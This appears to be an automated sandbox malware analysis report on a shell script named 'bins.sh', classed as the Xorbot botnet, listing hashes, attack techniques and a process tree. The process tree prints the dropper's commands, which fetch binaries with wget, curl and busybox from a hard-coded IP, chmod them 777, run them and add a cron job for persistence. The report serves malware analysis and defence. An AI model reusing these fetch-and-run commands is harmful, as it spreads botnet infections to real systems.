Analysis
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max time kernel
149s -
max time network
131s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240611-en -
resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system -
submitted
04/12/2024, 02:37
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20240226-en
General
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Target
bins.sh
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Size
10KB
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MD5
437a00555767f8c3201fad3f0c8593c4
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SHA1
4e504c7b16ed9c01b17acd57643c6aa2e1dc8996
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SHA256
12201bdbf03e90f7421b3d4c4b612c6e541b1e24313cd2e090787567d3722f44
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SHA512
3caf18ed0ab4540decbb2469237a14ee4874c23e0ad7b93531a1dd4c31e48375ae9793fef3bd53e8dd49a129b37f69476c46cc988a61a8d2ef21bfc7d4e4c1de
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SSDEEP
192:cv4UQmpRVu66kkmhNiumVxXI4xkkmhNd8VxXI4DUQmpRFW:cv4UQmpRc6TmVxXI4ZVxXI4DUQmpRY
Malware Config
Signatures
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resource yara_rule behavioral1/files/fstream-1.dat family_xorbot behavioral1/files/fstream-5.dat family_xorbot behavioral1/files/fstream-7.dat family_xorbot -
Xorbot family
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File and Directory Permissions Modification 1 TTPs 4 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 1505 chmod 1512 chmod 1491 chmod 1498 chmod -
Executes dropped EXE 4 IoCs
ioc pid Process /tmp/FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5 1492 FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5 /tmp/bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK 1499 bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK /tmp/8izFrZGWFJzPZKVmq3eUdi9cJ2XW1mM1cX 1506 8izFrZGWFJzPZKVmq3eUdi9cJ2XW1mM1cX /tmp/dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z 1513 dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z -
Renames itself 1 IoCs
pid Process 1514 dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z -
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /var/spool/cron/crontabs/tmp.3Zh9OM crontab -
Enumerates running processes
Discovers information about currently running processes on the system
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description ioc Process File opened for reading /proc/1111/cmdline dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z File opened for reading /proc/1151/cmdline dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z File opened for reading /proc/13/cmdline dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z File opened for reading /proc/14/cmdline dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z File opened for reading /proc/267/cmdline dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z File opened for reading /proc/654/cmdline dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z File opened for reading /proc/464/cmdline dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z File opened for reading /proc/1155/cmdline dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z File opened for reading /proc/1169/cmdline dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z File opened for reading /proc/1316/cmdline dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z File opened for reading /proc/3/cmdline dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z File opened for reading /proc/19/cmdline dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z File opened for reading /proc/78/cmdline dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z File opened for reading /proc/83/cmdline dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z File opened for reading /proc/1519/cmdline dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z File opened for reading /proc/1522/cmdline dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z File opened for reading /proc/1016/cmdline dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z File opened for reading /proc/17/cmdline dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z File opened for reading /proc/34/cmdline dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z File opened for reading /proc/82/cmdline dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z File opened for reading /proc/163/cmdline dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z File opened for reading /proc/126/cmdline dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z File opened for reading /proc/164/cmdline dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z File opened for reading /proc/1179/cmdline dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z File opened for reading /proc/165/cmdline dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z File opened for reading /proc/521/cmdline dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z File opened for reading /proc/1135/cmdline dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z File opened for reading /proc/1157/cmdline dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z File opened for reading /proc/1466/cmdline dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z File opened for reading /proc/1521/cmdline dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z File opened for reading /proc/2/cmdline dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z File opened for reading /proc/172/cmdline dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z File opened for reading /proc/423/cmdline dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z File opened for reading /proc/468/cmdline dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z File opened for reading /proc/1279/cmdline dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z File opened for reading /proc/517/cmdline dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z File opened for reading /proc/556/cmdline dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z File opened for reading /proc/657/cmdline dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z File opened for reading /proc/1240/cmdline dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z File opened for reading /proc/15/cmdline dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z File opened for reading /proc/32/cmdline dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z File opened for reading /proc/160/cmdline dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z File opened for reading /proc/168/cmdline dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z File opened for reading /proc/1154/cmdline dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z File opened for reading /proc/1470/cmdline dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z File opened for reading /proc/16/cmdline dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z File opened for reading /proc/18/cmdline dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z File opened for reading /proc/80/cmdline dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z File opened for reading /proc/1105/cmdline dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z File opened for reading /proc/1142/cmdline dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z File opened for reading /proc/1472/cmdline dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z File opened for reading /proc/1523/cmdline dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z File opened for reading /proc/36/cmdline dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z File opened for reading /proc/451/cmdline dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z File opened for reading /proc/695/cmdline dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z File opened for reading /proc/1057/cmdline dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z File opened for reading /proc/1273/cmdline dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z File opened for reading /proc/10/cmdline dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z File opened for reading /proc/29/cmdline dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z File opened for reading /proc/157/cmdline dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z File opened for reading /proc/198/cmdline dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z File opened for reading /proc/1137/cmdline dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z File opened for reading /proc/1290/cmdline dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z File opened for reading /proc/1343/cmdline dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z -
Writes file to tmp directory 12 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5 wget File opened for modification /tmp/FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5 curl File opened for modification /tmp/FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5 busybox File opened for modification /tmp/bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK curl File opened for modification /tmp/8izFrZGWFJzPZKVmq3eUdi9cJ2XW1mM1cX wget File opened for modification /tmp/8izFrZGWFJzPZKVmq3eUdi9cJ2XW1mM1cX curl File opened for modification /tmp/8izFrZGWFJzPZKVmq3eUdi9cJ2XW1mM1cX busybox File opened for modification /tmp/dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z wget File opened for modification /tmp/dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z curl File opened for modification /tmp/bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK wget File opened for modification /tmp/bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK busybox File opened for modification /tmp/dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z busybox
Processes
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/tmp/bins.sh/tmp/bins.sh1⤵PID:1472
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/bin/rm/bin/rm bins.sh2⤵PID:1473
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/usr/bin/wgetwget http://216.126.231.240/bins/FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD52⤵
- Writes file to tmp directory
PID:1474
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/usr/bin/curlcurl -O http://216.126.231.240/bins/FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD52⤵
- Writes file to tmp directory
PID:1489
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD52⤵
- Writes file to tmp directory
PID:1490
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/bin/chmodchmod 777 FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD52⤵
- File and Directory Permissions Modification
PID:1491
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/tmp/FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5./FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD52⤵
- Executes dropped EXE
PID:1492
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/bin/rmrm FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD52⤵PID:1494
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/usr/bin/wgetwget http://216.126.231.240/bins/bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK2⤵
- Writes file to tmp directory
PID:1495
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/usr/bin/curlcurl -O http://216.126.231.240/bins/bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK2⤵
- Writes file to tmp directory
PID:1496
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK2⤵
- Writes file to tmp directory
PID:1497
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/bin/chmodchmod 777 bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK2⤵
- File and Directory Permissions Modification
PID:1498
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/tmp/bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK./bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK2⤵
- Executes dropped EXE
PID:1499
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/bin/rmrm bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK2⤵PID:1501
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/usr/bin/wgetwget http://216.126.231.240/bins/8izFrZGWFJzPZKVmq3eUdi9cJ2XW1mM1cX2⤵
- Writes file to tmp directory
PID:1502
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/usr/bin/curlcurl -O http://216.126.231.240/bins/8izFrZGWFJzPZKVmq3eUdi9cJ2XW1mM1cX2⤵
- Writes file to tmp directory
PID:1503
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/8izFrZGWFJzPZKVmq3eUdi9cJ2XW1mM1cX2⤵
- Writes file to tmp directory
PID:1504
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/bin/chmodchmod 777 8izFrZGWFJzPZKVmq3eUdi9cJ2XW1mM1cX2⤵
- File and Directory Permissions Modification
PID:1505
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/tmp/8izFrZGWFJzPZKVmq3eUdi9cJ2XW1mM1cX./8izFrZGWFJzPZKVmq3eUdi9cJ2XW1mM1cX2⤵
- Executes dropped EXE
PID:1506
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/bin/rmrm 8izFrZGWFJzPZKVmq3eUdi9cJ2XW1mM1cX2⤵PID:1508
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/usr/bin/wgetwget http://216.126.231.240/bins/dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z2⤵
- Writes file to tmp directory
PID:1509
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/usr/bin/curlcurl -O http://216.126.231.240/bins/dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z2⤵
- Writes file to tmp directory
PID:1510
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z2⤵
- Writes file to tmp directory
PID:1511
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/bin/chmodchmod 777 dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z2⤵
- File and Directory Permissions Modification
PID:1512
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/tmp/dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z./dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z2⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
PID:1513 -
/bin/shsh -c "crontab -l"3⤵PID:1515
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/usr/bin/crontabcrontab -l4⤵PID:1516
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/bin/shsh -c "crontab -"3⤵PID:1517
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/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
PID:1518
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/bin/rmrm dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z2⤵PID:1520
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/usr/bin/wgetwget http://216.126.231.240/bins/i7wnBa0kpJNfw3Qa7N90WDGDAfY2gh6CMl2⤵PID:1523
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
117KB
MD5849fa04ef88a8e8de32cb2e8538de5fe
SHA1c768af29fe4b6695fff1541623e8bbd1c6f242f7
SHA2568bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579
SHA5122d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf
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Filesize
127KB
MD589077b7bd4bcafca7713be43635c4862
SHA1fc02edb8fba29ea8ee99e6157ef8560334530052
SHA25678416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
SHA5121b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1
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Filesize
151KB
MD56c583043d91c55aa470c08c87058e917
SHA1abf65a5b9bba69980278ad09356e53de8bb89439
SHA2562d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
SHA51282ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5
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Filesize
98KB
MD55141342d0df8699fa32a6b066a0c592e
SHA18157673225bd5182f16215e2aa823a25ca2d4fbc
SHA25654302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
SHA512d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801
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Filesize
210B
MD5cb60222e9a77839e906deeac1d0f383f
SHA171f2286d2d14f914503326778fe93f08d12447ac
SHA2567738f61a6620c49954ed430627806230f277e68c6b54755a47c35123ad0c6931
SHA512ced6c96fafd91a3e7920c3113b05f38980fbeafb4dbb3bfcc92b7e4800e78eb710f7a87855063199bec01f687eea99e410d13ecd4a214765d673267911e73172